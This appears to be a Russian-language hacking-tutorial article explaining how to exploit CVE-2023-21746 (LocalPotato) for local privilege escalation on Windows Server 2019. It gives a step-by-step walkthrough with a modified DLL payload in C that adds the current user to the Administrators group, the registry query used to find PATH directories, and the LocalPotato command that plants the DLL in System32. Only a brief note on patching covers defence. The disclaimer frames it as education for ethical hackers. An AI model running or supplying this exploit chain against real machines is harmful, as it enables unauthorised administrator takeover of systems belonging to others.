В этой статье рассмотрим уязвимость CVE-2023-21746. Далее покажу, как использовать эксплоит CVE-2023-21746.
Еще по теме: Эксплуатация уязвимости CVE-2023-0297 в pyLoad
Эксплоит CVE-2023-21746
Итак, все необходимое для эсплуатации уязвимости можно найти в репозитории на GitHub.
Статья в образовательных целях, для обучения этичных хакеров. Несанкционированный взлом является незаконным и рассматривается как уголовное преступление. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши действия.
Чтобы воспользоваться эксплоитом CVE-2023-21746, сначала надо скомпилировать два файла:
- SprintCSP.dll. Это недостающая DLL, которую мы собираемся перехватить. Код по умолчанию, поставляемый с эксплоитом, выполняет команду whoami и выводит ответ в C:\Program Data\whoamiall.txt. Нам нужно изменить команду, чтобы достигнуть нашей цели;
- RpcClient.exe. Эта программа запустит RPC-вызов SvcRebootToFlashingMode. В зависимости от версии Windows, на которую нацелен эксплоит, его код может потребоваться немного подправить, поскольку в разных версиях Windows используются разные идентификаторы интерфейсов для раскрытия SvcRebootToFlashingMode.
Для начала разберемся с файлом RpcClient.exe. Как уже говорилось, нам потребуется изменить эксплоит в зависимости от версии Windows на целевой машине. Для этого нужно отредактировать первые строки файла:
1 |
C:\tools\LPE via StorSvc\RpcClient\RpcClient\storsvc_c.c |
Так, чтобы выбиралась нужная операционная система. Поскольку моя машина работает под управлением Windows Server 2019, я отредактирую файл следующим образом.
Это настроит эксплоит на использование корректного идентификатора интерфейса RPC для моей версии Windows. Теперь, когда код исправлен, скомпилируем необходимые нам инструменты.
Перед компиляцией SprintCSP.dll нам нужно изменить функцию DoStuff() в файле SprintCSP\main.c таким образом, чтобы она добавляла нашего текущего пользователя в группу Administrators. Вот код с нашей замененной командой:
1 2 3 4 5 6 7 8 9 10 |
void DoStuff() { // Replace all this code by your payload STARTUPINFO si = { sizeof(STARTUPINFO) }; PROCESS_INFORMATION pi; CreateProcess(L"c:\\windows\\system32\\cmd.exe",L" /C net localgroup administrators user /add", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, L"C:\\Windows", &si, &pi); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return; } |
Теперь скомпилируем нашу DLL.
Эксплуатация уязвимости CVE-2023-21746
Для начала удостоверимся, что наш пользователь действительно не входит в группу локальных администраторов.
Для успешной эксплуатации StorSvc необходимо скопировать SprintCSP.dll в любую директорию текущей PATH. Проверить PATH можно, выполнив следующую команду:
1 |
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -v Path |
Мы будем использовать каталог %SystemRoot%\system32, который расширяется до C:\windows\system32. Однако ты можешь использовать любой из этих двух каталогов.
Теперь, когда все готово, можем запустить LocalPotato:
1 |
LocalPotato.exe -i SprintCSP.dll -o \Windows\System32\SprintCSP.dll |
DLL успешно записалась в System32! Теперь мы можем запустить RpcClient.exe для запуска вызова SvcRebootToFlashingMode, выполнив полезную нагрузку в нашей DLL.
Чтобы удостовериться, что эксплоит сработал, проверим, находится ли наш пользователь в группе администраторов.
После успешного срабатывания эксплоита мы можем выполнить любые действия от лица администратора под учетной записью пользователя user. Например, запустить командную строку.
Защита от уязвимости CVE-2023-21746
Оптимальная защита от эксплуатации этой уязвимости (как и других подобных) — своевременно устанавливать обновления безопасности Microsoft. Тем не менее даже в этом случае некоторые протоколы, использующие NTLM в качестве метода аутентификации, могут быть уязвимы для подобных атак.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Атака Key List Kerberos при пентесте контроллера домена
- Bad-PDF. Кража NTLM-хеша с помощью PDF-файла
- Эксплуатация уязвимости CVE-2022-27228 и атака NTLM Relay